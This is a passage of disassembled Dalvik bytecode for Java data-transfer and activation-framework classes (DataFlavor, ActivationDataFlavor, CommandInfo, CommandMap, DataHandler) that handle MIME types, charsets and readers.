0000004A if-nez v2, :52
:4E
0000004E move v0, v1
00000050 goto :8
:52
00000052 iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000056 invoke-virtual MimeTypeProcessor$MimeType->getPrimaryType()String, v1
0000005C move-result-object v1
0000005E const-string v2, "text"
00000062 invoke-virtual String->equals(Object)Z, v1, v2
00000068 move-result v1
0000006A if-eqz v1, :8
:6E
0000006E invoke-direct DataFlavor->isUnicodeFlavor()Z, p0
00000074 move-result v1
00000076 if-nez v1, :8
:7A
0000007A invoke-direct DataFlavor->getCharset()String, p0
00000080 move-result-object v0
00000082 invoke-direct DataFlavor->getCharset()String, p1
00000088 move-result-object v1
0000008A invoke-static DataFlavor->isCharsetSupported(String)Z, v0
00000090 move-result v2
00000092 if-eqz v2, :A2
:96
00000096 invoke-static DataFlavor->isCharsetSupported(String)Z, v1
0000009C move-result v2
0000009E if-nez v2, :AC
:A2
000000A2 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000A8 move-result v0
000000AA goto :8
:AC
000000AC invoke-static Charset->forName(String)Charset, v0
000000B2 move-result-object v0
000000B4 invoke-static Charset->forName(String)Charset, v1
000000BA move-result-object v1
000000BC invoke-virtual Charset->equals(Object)Z, v0, v1
000000C2 move-result v0
000000C4 goto :8
.end method
.method public final getDefaultRepresentationClass()Class
.registers 2
00000000 const-class v0, InputStream
00000004 return-object v0
.end method
.method public final getDefaultRepresentationClassAsString()String
.registers 2
00000000 invoke-virtual DataFlavor->getDefaultRepresentationClass()Class, p0
00000006 move-result-object v0
00000008 invoke-virtual Class->getName()String, v0
0000000E move-result-object v0
00000010 return-object v0
.end method
.method public getHumanPresentableName()String
.registers 2
00000000 iget-object v0, p0, DataFlavor->humanPresentableName:String
00000004 return-object v0
.end method
.method getMimeInfo()MimeTypeProcessor$MimeType
.registers 2
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 return-object v0
.end method
.method public getMimeType()String
.registers 2
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C invoke-static MimeTypeProcessor->assemble(MimeTypeProcessor$MimeType)String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public getParameter(String)String
.registers 4
00000000 invoke-virtual String->toLowerCase()String, p1
00000006 move-result-object v0
00000008 const-string v1, "humanpresentablename"
0000000C invoke-virtual String->equals(Object)Z, v0, v1
00000012 move-result v1
00000014 if-eqz v1, :1E
:18
00000018 iget-object v0, p0, DataFlavor->humanPresentableName:String
:1C
0000001C return-object v0
:1E
0000001E iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000022 if-eqz v1, :34
:26
00000026 iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002A invoke-virtual MimeTypeProcessor$MimeType->getParameter(String)String, v1, v0
00000030 move-result-object v0
00000032 goto :1C
:34
00000034 const/4 v0, 0x0
00000036 goto :1C
.end method
.method public getPrimaryType()String
.registers 2
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C invoke-virtual MimeTypeProcessor$MimeType->getPrimaryType()String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public getReaderForText(Transferable)Reader
.registers 5
00000000 invoke-interface Transferable->getTransferData(DataFlavor)Object, p1, p0
00000006 move-result-object v0
00000008 if-nez v0, :24
:C
0000000C new-instance v0, IllegalArgumentException
00000010 const-string v1, "awt.16E"
00000014 invoke-static Messages->getString(String)String, v1
0000001A move-result-object v1
0000001C invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 instance-of v1, v0, Reader
00000028 if-eqz v1, :38
:2C
0000002C check-cast v0, Reader
00000030 invoke-virtual Reader->reset()V, v0
:36
00000036 return-object v0
:38
00000038 instance-of v1, v0, String
0000003C if-eqz v1, :52
:40
00000040 new-instance v1, StringReader
00000044 check-cast v0, String
00000048 invoke-direct StringReader-><init>(String)V, v1, v0
0000004E move-object v0, v1
00000050 goto :36
:52
00000052 instance-of v1, v0, CharBuffer
00000056 if-eqz v1, :74
:5A
0000005A new-instance v1, CharArrayReader
0000005E check-cast v0, CharBuffer
00000062 invoke-virtual CharBuffer->array()[C, v0
00000068 move-result-object v0
0000006A invoke-direct CharArrayReader-><init>([C)V, v1, v0
00000070 move-object v0, v1
00000072 goto :36
:74
00000074 instance-of v1, v0, [C
00000078 if-eqz v1, :8E
:7C
0000007C new-instance v1, CharArrayReader
00000080 check-cast v0, [C
00000084 invoke-direct CharArrayReader-><init>([C)V, v1, v0
0000008A move-object v0, v1
0000008C goto :36
:8E
0000008E invoke-direct DataFlavor->getCharset()String, p0
00000094 move-result-object v2
00000096 instance-of v1, v0, InputStream
0000009A if-eqz v1, :C2
:9E
0000009E check-cast v0, InputStream
000000A2 invoke-virtual InputStream->reset()V, v0
:A8
000000A8 invoke-virtual String->length()I, v2
000000AE move-result v1
000000B0 if-nez v1, :116
:B4
000000B4 new-instance v1, InputStreamReader
000000B8 invoke-direct InputStreamReader-><init>(InputStream)V, v1, v0
000000BE move-object v0, v1
000000C0 goto :36
:C2
000000C2 instance-of v1, v0, ByteBuffer
000000C6 if-eqz v1, :E4
:CA
000000CA new-instance v1, ByteArrayInputStream
000000CE check-cast v0, ByteBuffer
000000D2 invoke-virtual ByteBuffer->array()[B, v0
000000D8 move-result-object v0
000000DA invoke-direct ByteArrayInputStream-><init>([B)V, v1, v0
000000E0 move-object v0, v1
000000E2 goto :A8
:E4
000000E4 instance-of v1, v0, [B
000000E8 if-eqz v1, :FE
:EC
000000EC new-instance v1, ByteArrayInputStream
000000F0 check-cast v0, [B
000000F4 invoke-direct ByteArrayInputStream-><init>([B)V, v1, v0
000000FA move-object v0, v1
000000FC goto :A8
:FE
000000FE new-instance v0, IllegalArgumentException
00000102 const-string v1, "awt.16F"
00000106 invoke-static Messages->getString(String)String, v1
0000010C move-result-object v1
0000010E invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
00000114 throw v0
:116
00000116 new-instance v1, InputStreamReader
0000011A invoke-direct InputStreamReader-><init>(InputStream, String)V, v1, v0, v2
00000120 move-object v0, v1
00000122 goto :36
.end method
.method public getRepresentationClass()Class
.registers 2
00000000 iget-object v0, p0, DataFlavor->representationClass:Class
00000004 return-object v0
.end method
.method public getSubType()String
.registers 2
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C invoke-virtual MimeTypeProcessor$MimeType->getSubType()String, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public hashCode()I
.registers 2
00000000 invoke-direct DataFlavor->getKeyInfo()String, p0
00000006 move-result-object v0
00000008 invoke-virtual String->hashCode()I, v0
0000000E move-result v0
00000010 return v0
.end method
.method public isFlavorJavaFileListType()Z
.registers 3
00000000 const-class v0, List
00000004 iget-object v1, p0, DataFlavor->representationClass:Class
00000008 invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
0000000E move-result v0
00000010 if-eqz v0, :28
:14
00000014 sget-object v0, DataFlavor->javaFileListFlavor:DataFlavor
00000018 invoke-virtual DataFlavor->isMimeTypeEqual(DataFlavor)Z, p0, v0
0000001E move-result v0
00000020 if-eqz v0, :28
:24
00000024 const/4 v0, 0x1
:26
00000026 return v0
:28
00000028 const/4 v0, 0x0
0000002A goto :26
.end method
.method public isFlavorRemoteObjectType()Z
.registers 2
00000000 const-string v0, "application/x-java-remote-object"
00000004 invoke-virtual DataFlavor->isMimeTypeEqual(String)Z, p0, v0
0000000A move-result v0
0000000C if-eqz v0, :20
:10
00000010 invoke-virtual DataFlavor->isRepresentationClassRemote()Z, p0
00000016 move-result v0
00000018 if-eqz v0, :20
:1C
0000001C const/4 v0, 0x1
:1E
0000001E return v0
:20
00000020 const/4 v0, 0x0
00000022 goto :1E
.end method
.method public isFlavorSerializedObjectType()Z
.registers 2
00000000 invoke-virtual DataFlavor->isMimeTypeSerializedObject()Z, p0
00000006 move-result v0
00000008 if-eqz v0, :1C
:C
0000000C invoke-virtual DataFlavor->isRepresentationClassSerializable()Z, p0
00000012 move-result v0
00000014 if-eqz v0, :1C
:18
00000018 const/4 v0, 0x1
:1A
0000001A return v0
:1C
0000001C const/4 v0, 0x0
0000001E goto :1A
.end method
.method public isFlavorTextType()Z
.registers 4
00000000 const/4 v0, 0x1
00000002 sget-object v1, DataFlavor->stringFlavor:DataFlavor
00000006 invoke-virtual DataFlavor->equals(DataFlavor)Z, p0, v1
0000000C move-result v1
0000000E if-nez v1, :22
:12
00000012 sget-object v1, DataFlavor->plainTextFlavor:DataFlavor
00000016 invoke-virtual DataFlavor->equals(DataFlavor)Z, p0, v1
0000001C move-result v1
0000001E if-eqz v1, :24
:22
00000022 return v0
:24
00000024 iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000028 if-eqz v1, :4C
:2C
0000002C iget-object v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000030 invoke-virtual MimeTypeProcessor$MimeType->getPrimaryType()String, v1
00000036 move-result-object v1
00000038 const-string v2, "text"
0000003C invoke-virtual String->equals(Object)Z, v1, v2
00000042 move-result v1
00000044 if-nez v1, :4C
:48
00000048 const/4 v0, 0x0
0000004A goto :22
:4C
0000004C invoke-direct DataFlavor->getCharset()String, p0
00000052 move-result-object v1
00000054 invoke-direct DataFlavor->isByteCodeFlavor()Z, p0
0000005A move-result v2
0000005C if-eqz v2, :76
:60
00000060 invoke-virtual String->length()I, v1
00000066 move-result v2
00000068 if-eqz v2, :22
:6C
0000006C invoke-static DataFlavor->isCharsetSupported(String)Z, v1
00000072 move-result v0
00000074 goto :22
:76
00000076 invoke-direct DataFlavor->isUnicodeFlavor()Z, p0
0000007C move-result v0
0000007E goto :22
.end method
.method public isMimeTypeEqual(String)Z
.registers 4
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 invoke-static MimeTypeProcessor->parse(String)MimeTypeProcessor$MimeType, p1
0000000A move-result-object v1
0000000C invoke-virtual MimeTypeProcessor$MimeType->equals(MimeTypeProcessor$MimeType)Z, v0, v1
:12
00000012 move-result v0
:14
00000014 return v0
:16
00000016 move-exception v0
00000018 const/4 v0, 0x0
0000001A goto :14
.catch IllegalArgumentException {:0 .. :12} :16
.end method
.method public final isMimeTypeEqual(DataFlavor)Z
.registers 4
00000000 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004 if-eqz v0, :1A
:8
00000008 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C iget-object v1, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000010 invoke-virtual MimeTypeProcessor$MimeType->equals(MimeTypeProcessor$MimeType)Z, v0, v1
00000016 move-result v0
:18
00000018 return v0
:1A
0000001A iget-object v0, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E if-nez v0, :26
:22
00000022 const/4 v0, 0x1
00000024 goto :18
:26
00000026 const/4 v0, 0x0
00000028 goto :18
.end method
.method public isMimeTypeSerializedObject()Z
.registers 2
00000000 const-string v0, "application/x-java-serialized-object"
00000004 invoke-virtual DataFlavor->isMimeTypeEqual(String)Z, p0, v0
0000000A move-result v0
0000000C return v0
.end method
.method public isRepresentationClassByteBuffer()Z
.registers 3
00000000 const-class v0, ByteBuffer
00000004 iget-object v1, p0, DataFlavor->representationClass:Class
00000008 invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
0000000E move-result v0
00000010 return v0
.end method
.method public isRepresentationClassCharBuffer()Z
.registers 3
00000000 const-class v0, CharBuffer
00000004 iget-object v1, p0, DataFlavor->representationClass:Class
00000008 invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
0000000E move-result v0
00000010 return v0
.end method
.method public isRepresentationClassInputStream()Z
.registers 3
00000000 const-class v0, InputStream
00000004 iget-object v1, p0, DataFlavor->representationClass:Class
00000008 invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
0000000E move-result v0
00000010 return v0
.end method
.method public isRepresentationClassReader()Z
.registers 3
00000000 const-class v0, Reader
00000004 iget-object v1, p0, DataFlavor->representationClass:Class
00000008 invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
0000000E move-result v0
00000010 return v0
.end method
.method public isRepresentationClassRemote()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public isRepresentationClassSerializable()Z
.registers 3
00000000 const-class v0, Serializable
00000004 iget-object v1, p0, DataFlavor->representationClass:Class
00000008 invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
0000000E move-result v0
00000010 return v0
.end method
.method public match(DataFlavor)Z
.registers 3
00000000 invoke-virtual DataFlavor->equals(DataFlavor)Z, p0, p1
00000006 move-result v0
00000008 return v0
.end method
.method protected normalizeMimeType(String)String
.registers 2
.annotation runtime Deprecated
.end annotation
00000000 return-object p1
.end method
.method protected normalizeMimeTypeParameter(String, String)String
.registers 3
.annotation runtime Deprecated
.end annotation
00000000 return-object p2
.end method
.method public declared-synchronized readExternal(ObjectInput)V
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-interface ObjectInput->readObject()Object, p1
00000008 move-result-object v0
0000000A check-cast v0, String
0000000E iput-object v0, p0, DataFlavor->humanPresentableName:String
00000012 invoke-interface ObjectInput->readObject()Object, p1
00000018 move-result-object v0
0000001A check-cast v0, MimeTypeProcessor$MimeType
0000001E iput-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000022 iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000026 if-eqz v0, :4A
:2A
0000002A iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002E const-string v1, "class"
00000032 invoke-virtual MimeTypeProcessor$MimeType->getParameter(String)String, v0, v1
00000038 move-result-object v0
0000003A invoke-static Class->forName(String)Class, v0
00000040 move-result-object v0
:42
00000042 iput-object v0, p0, DataFlavor->representationClass:Class
:46
00000046 monitor-exit p0
00000048 return-void
:4A
0000004A const/4 v0, 0x0
0000004C goto :42
:4E
0000004E move-exception v0
00000050 monitor-exit p0
00000052 throw v0
.catchall {:2 .. :46} :4E
.end method
.method public setHumanPresentableName(String)V
.registers 2
00000000 iput-object p1, p0, DataFlavor->humanPresentableName:String
00000004 return-void
.end method
.method public toString()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 invoke-virtual Object->getClass()Class, p0
0000000A move-result-object v1
0000000C invoke-virtual Class->getName()String, v1
00000012 move-result-object v1
00000014 invoke-static String->valueOf(Object)String, v1
0000001A move-result-object v1
0000001C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000022 const-string v1, "[MimeType=("
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000002C move-result-object v0
0000002E invoke-virtual DataFlavor->getMimeType()String, p0
00000034 move-result-object v1
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003C move-result-object v0
0000003E const-string v1, ");humanPresentableName="
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000048 move-result-object v0
0000004A iget-object v1, p0, DataFlavor->humanPresentableName:String
0000004E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000054 move-result-object v0
00000056 const-string v1, "]"
0000005A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000060 move-result-object v0
00000062 invoke-virtual StringBuilder->toString()String, v0
00000068 move-result-object v0
0000006A return-object v0
.end method
.method public declared-synchronized writeExternal(ObjectOutput)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, DataFlavor->humanPresentableName:String
00000006 invoke-interface ObjectOutput->writeObject(Object)V, p1, v0
0000000C iget-object v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000010 invoke-interface ObjectOutput->writeObject(Object)V, p1, v0
:16
00000016 monitor-exit p0
00000018 return-void
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
.catchall {:2 .. :16} :1A
.end method
#--------------------------------------------------------------------------------
.class public ActivationDataFlavor
.super DataFlavor
.source ""
.field private humanPresentableName:String
.field private mimeObject:MimeType
.field private mimeType:String
.field private representationClass:Class
.method public constructor <init>(Class, String)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct DataFlavor-><init>(Class, String)V, p0, p1, p2
00000008 iput-object v0, p0, ActivationDataFlavor->mimeType:String
0000000C iput-object v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000010 iput-object v0, p0, ActivationDataFlavor->humanPresentableName:String
00000014 iput-object v0, p0, ActivationDataFlavor->representationClass:Class
00000018 invoke-super DataFlavor->getMimeType()String, p0
0000001E move-result-object v0
00000020 iput-object v0, p0, ActivationDataFlavor->mimeType:String
00000024 iput-object p1, p0, ActivationDataFlavor->representationClass:Class
00000028 iput-object p2, p0, ActivationDataFlavor->humanPresentableName:String
0000002C return-void
.end method
.method public constructor <init>(Class, String, String)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct DataFlavor-><init>(String, String)V, p0, p2, p3
00000008 iput-object v0, p0, ActivationDataFlavor->mimeType:String
0000000C iput-object v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000010 iput-object v0, p0, ActivationDataFlavor->humanPresentableName:String
00000014 iput-object v0, p0, ActivationDataFlavor->representationClass:Class
00000018 iput-object p2, p0, ActivationDataFlavor->mimeType:String
0000001C iput-object p3, p0, ActivationDataFlavor->humanPresentableName:String
00000020 iput-object p1, p0, ActivationDataFlavor->representationClass:Class
00000024 return-void
.end method
.method public constructor <init>(String, String)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct DataFlavor-><init>(String, String)V, p0, p1, p2
00000008 iput-object v0, p0, ActivationDataFlavor->mimeType:String
0000000C iput-object v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000010 iput-object v0, p0, ActivationDataFlavor->humanPresentableName:String
00000014 iput-object v0, p0, ActivationDataFlavor->representationClass:Class
00000018 iput-object p1, p0, ActivationDataFlavor->mimeType:String
:1C
0000001C const-string v0, "java.io.InputStream"
00000020 invoke-static Class->forName(String)Class, v0
00000026 move-result-object v0
00000028 iput-object v0, p0, ActivationDataFlavor->representationClass:Class
:2C
0000002C iput-object p2, p0, ActivationDataFlavor->humanPresentableName:String
00000030 return-void
:32
00000032 move-exception v0
00000034 goto :2C
.catch ClassNotFoundException {:1C .. :2C} :32
.end method
.method public equals(DataFlavor)Z
.registers 4
00000000 invoke-virtual ActivationDataFlavor->isMimeTypeEqual(DataFlavor)Z, p0, p1
00000006 move-result v0
00000008 if-eqz v0, :20
:C
0000000C invoke-virtual DataFlavor->getRepresentationClass()Class, p1
00000012 move-result-object v0
00000014 iget-object v1, p0, ActivationDataFlavor->representationClass:Class
00000018 if-ne v0, v1, :20
:1C
0000001C const/4 v0, 0x1
:1E
0000001E return v0
:20
00000020 const/4 v0, 0x0
00000022 goto :1E
.end method
.method public getHumanPresentableName()String
.registers 2
00000000 iget-object v0, p0, ActivationDataFlavor->humanPresentableName:String
00000004 return-object v0
.end method
.method public getMimeType()String
.registers 2
00000000 iget-object v0, p0, ActivationDataFlavor->mimeType:String
00000004 return-object v0
.end method
.method public getRepresentationClass()Class
.registers 2
00000000 iget-object v0, p0, ActivationDataFlavor->representationClass:Class
00000004 return-object v0
.end method
.method public isMimeTypeEqual(String)Z
.registers 4
00000000 iget-object v0, p0, ActivationDataFlavor->mimeObject:MimeType
00000004 if-nez v0, :1A
:8
00000008 new-instance v0, MimeType
0000000C iget-object v1, p0, ActivationDataFlavor->mimeType:String
00000010 invoke-direct MimeType-><init>(String)V, v0, v1
00000016 iput-object v0, p0, ActivationDataFlavor->mimeObject:MimeType
:1A
0000001A new-instance v0, MimeType
0000001E invoke-direct MimeType-><init>(String)V, v0, p1
:24
00000024 iget-object v1, p0, ActivationDataFlavor->mimeObject:MimeType
00000028 invoke-virtual MimeType->match(MimeType)Z, v1, v0
0000002E move-result v0
:30
00000030 return v0
:32
00000032 move-exception v0
00000034 iget-object v0, p0, ActivationDataFlavor->mimeType:String
00000038 invoke-virtual String->equalsIgnoreCase(String)Z, v0, p1
0000003E move-result v0
00000040 goto :30
.catch MimeTypeParseException {:0 .. :24} :32
.end method
.method protected normalizeMimeType(String)String
.registers 2
00000000 return-object p1
.end method
.method protected normalizeMimeTypeParameter(String, String)String
.registers 3
00000000 return-object p2
.end method
.method public setHumanPresentableName(String)V
.registers 2
00000000 iput-object p1, p0, ActivationDataFlavor->humanPresentableName:String
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public CommandInfo
.super Object
.source ""
.field private className:String
.field private verb:String
.method public constructor <init>(String, String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, CommandInfo->verb:String
0000000A iput-object p2, p0, CommandInfo->className:String
0000000E return-void
.end method
.method public getCommandClass()String
.registers 2
00000000 iget-object v0, p0, CommandInfo->className:String
00000004 return-object v0
.end method
.method public getCommandName()String
.registers 2
00000000 iget-object v0, p0, CommandInfo->verb:String
00000004 return-object v0
.end method
.method public getCommandObject(DataHandler, ClassLoader)Object
.registers 7
00000000 iget-object v0, p0, CommandInfo->className:String
00000004 invoke-static Beans->instantiate(ClassLoader, String)Object, p2, v0
0000000A move-result-object v1
0000000C if-eqz v1, :28
:10
00000010 instance-of v0, v1, CommandObject
00000014 if-eqz v0, :2A
:18
00000018 move-object v0, v1
0000001A check-cast v0, CommandObject
0000001E iget-object v2, p0, CommandInfo->verb:String
00000022 invoke-interface CommandObject->setCommandContext(String, DataHandler)V, v0, v2, p1
:28
00000028 return-object v1
:2A
0000002A instance-of v0, v1, Externalizable
0000002E if-eqz v0, :28
:32
00000032 if-eqz p1, :28
:36
00000036 invoke-virtual DataHandler->getInputStream()InputStream, p1
0000003C move-result-object v2
0000003E if-eqz v2, :28
:42
00000042 move-object v0, v1
00000044 check-cast v0, Externalizable
00000048 new-instance v3, ObjectInputStream
0000004C invoke-direct ObjectInputStream-><init>(InputStream)V, v3, v2
00000052 invoke-interface Externalizable->readExternal(ObjectInput)V, v0, v3
00000058 goto :28
.end method
#--------------------------------------------------------------------------------
.class public abstract CommandMap
.super Object
.source ""
.field private static defaultCommandMap:CommandMap
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-object v0, CommandMap->defaultCommandMap:CommandMap
00000006 return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static getDefaultCommandMap()CommandMap
.registers 1
00000000 sget-object v0, CommandMap->defaultCommandMap:CommandMap
00000004 if-nez v0, :16
:8
00000008 new-instance v0, MailcapCommandMap
0000000C invoke-direct MailcapCommandMap-><init>()V, v0
00000012 sput-object v0, CommandMap->defaultCommandMap:CommandMap
:16
00000016 sget-object v0, CommandMap->defaultCommandMap:CommandMap
0000001A return-object v0
.end method
.method public static setDefaultCommandMap(CommandMap)V
.registers 4
00000000 invoke-static System->getSecurityManager()SecurityManager
00000006 move-result-object v0
00000008 if-eqz v0, :12
:C
0000000C invoke-virtual SecurityManager->checkSetFactory()V, v0
:12
00000012 sput-object p0, CommandMap->defaultCommandMap:CommandMap
00000016 return-void
:18
00000018 move-exception v0
0000001A const-class v1, CommandMap
0000001E invoke-virtual Class->getClassLoader()ClassLoader, v1
00000024 move-result-object v1
00000026 invoke-virtual Object->getClass()Class, p0
0000002C move-result-object v2
0000002E invoke-virtual Class->getClassLoader()ClassLoader, v2
00000034 move-result-object v2
00000036 if-eq v1, v2, :12
:3A
0000003A throw v0
.catch SecurityException {:C .. :12} :18
.end method
.method public abstract createDataContentHandler(String)DataContentHandler
.end method
.method public createDataContentHandler(String, DataSource)DataContentHandler
.registers 4
00000000 invoke-virtual CommandMap->createDataContentHandler(String)DataContentHandler, p0, p1
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public abstract getAllCommands(String)[CommandInfo
.end method
.method public getAllCommands(String, DataSource)[CommandInfo
.registers 4
00000000 invoke-virtual CommandMap->getAllCommands(String)[CommandInfo, p0, p1
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public abstract getCommand(String, String)CommandInfo
.end method
.method public getCommand(String, String, DataSource)CommandInfo
.registers 5
00000000 invoke-virtual CommandMap->getCommand(String, String)CommandInfo, p0, p1, p2
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getMimeTypes()[String
.registers 2
00000000 const/4 v0, 0x0
00000002 return-object v0
.end method
.method public abstract getPreferredCommands(String)[CommandInfo
.end method
.method public getPreferredCommands(String, DataSource)[CommandInfo
.registers 4
00000000 invoke-virtual CommandMap->getPreferredCommands(String)[CommandInfo, p0, p1
00000006 move-result-object v0
00000008 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public abstract interface CommandObject
.super Object
.source ""
.method public abstract setCommandContext(String, DataHandler)V
.end method
#--------------------------------------------------------------------------------
.class public abstract interface DataContentHandlerFactory
.super Object
.source ""
.method public abstract createDataContentHandler(String)DataContentHandler
.end method
#--------------------------------------------------------------------------------
.class DataHandler$1
.super Object
.source ""
.implements Runnable
.field final synthetic this$0:DataHandler
.field private final synthetic val$fdch:DataContentHandler
.field private final synthetic val$pos:PipedOutputStream
.method constructor <init>(DataHandler, PipedOutputStream, DataContentHandler)V
.registers 4
00000000 iput-object p1, p0, DataHandler$1->this$0:DataHandler
00000004 iput-object p2, p0, DataHandler$1->val$pos:PipedOutputStream
00000008 iput-object p3, p0, DataHandler$1->val$fdch:DataContentHandler
0000000C invoke-direct Object-><init>()V, p0
00000012 return-void
.end method
.method public run()V
.registers 5
00000000 iget-object v0, p0, DataHandler$1->val$fdch:DataContentHandler
00000004 iget-object v1, p0, DataHandler$1->this$0:DataHandler
00000008 invoke-static DataHandler->access$0(DataHandler)Object, v1
0000000E move-result-object v1
00000010 iget-object v2, p0, DataHandler$1->this$0:DataHandler
00000014 invoke-static DataHandler->access$1(DataHandler)String, v2
0000001A move-result-object v2
0000001C iget-object v3, p0, DataHandler$1->val$pos:PipedOutputStream
00000020 invoke-interface DataContentHandler->writeTo(Object, String, OutputStream)V, v0, v1, v2, v3
:26
00000026 iget-object v0, p0, DataHandler$1->val$pos:PipedOutputStream
0000002A invoke-virtual PipedOutputStream->close()V, v0
:30
00000030 return-void
:32
00000032 move-exception v0
:34
00000034 iget-object v0, p0, DataHandler$1->val$pos:PipedOutputStream
00000038 invoke-virtual PipedOutputStream->close()V, v0
:3E
0000003E goto :30
:40
00000040 move-exception v0
00000042 goto :30
:44
00000044 move-exception v0
:46
00000046 iget-object v1, p0, DataHandler$1->val$pos:PipedOutputStream
0000004A invoke-virtual PipedOutputStream->close()V, v1
:50
00000050 throw v0
:52
00000052 move-exception v0
00000054 goto :30
:56
00000056 move-exception v1
00000058 goto :50
.catch IOException {:0 .. :26} :32
.catchall {:0 .. :26} :44
.catch IOException {:26 .. :30} :52
.catch IOException {:34 .. :3E} :40
.catch IOException {:46 .. :50} :56
.end method
#--------------------------------------------------------------------------------
.class public abstract interface Transferable
.super Object
.source ""
.method public abstract getTransferData(DataFlavor)Object
.end method
.method public abstract getTransferDataFlavors()[DataFlavor
.end method
.method public abstract isDataFlavorSupported(DataFlavor)Z
.end method
#--------------------------------------------------------------------------------
.class public DataHandler
.super Object
.source ""
.implements Transferable
.field private static final emptyFlavors:[DataFlavor
.field private static factory:DataContentHandlerFactory
.field private currentCommandMap:CommandMap
.field private dataContentHandler:DataContentHandler
.field private dataSource:DataSource
.field private factoryDCH:DataContentHandler
.field private objDataSource:DataSource
.field private object:Object
.field private objectMimeType:String
.field private oldFactory:DataContentHandlerFactory
.field private shortType:String
.field private transferFlavors:[DataFlavor
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 new-array v0, v0, [DataFlavor
00000006 sput-object v0, DataHandler->emptyFlavors:[DataFlavor
0000000A const/4 v0, 0x0
0000000C sput-object v0, DataHandler->factory:DataContentHandlerFactory
00000010 return-void
.end method
.method public constructor <init>(Object, String)V
.registers 5
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v1, p0, DataHandler->dataSource:DataSource
0000000C iput-object v1, p0, DataHandler->objDataSource:DataSource
00000010 iput-object v1, p0, DataHandler->object:Object
00000014 iput-object v1, p0, DataHandler->objectMimeType:String
00000018 iput-object v1, p0, DataHandler->currentCommandMap:CommandMap
0000001C sget-object v0, DataHandler->emptyFlavors:[DataFlavor
00000020 iput-object v0, p0, DataHandler->transferFlavors:[DataFlavor
00000024 iput-object v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000028 iput-object v1, p0, DataHandler->factoryDCH:DataContentHandler
0000002C iput-object v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000030 iput-object v1, p0, DataHandler->shortType:String
00000034 iput-object p1, p0, DataHandler->object:Object
00000038 iput-object p2, p0, DataHandler->objectMimeType:String
0000003C sget-object v0, DataHandler->factory:DataContentHandlerFactory
00000040 iput-object v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000044 return-void
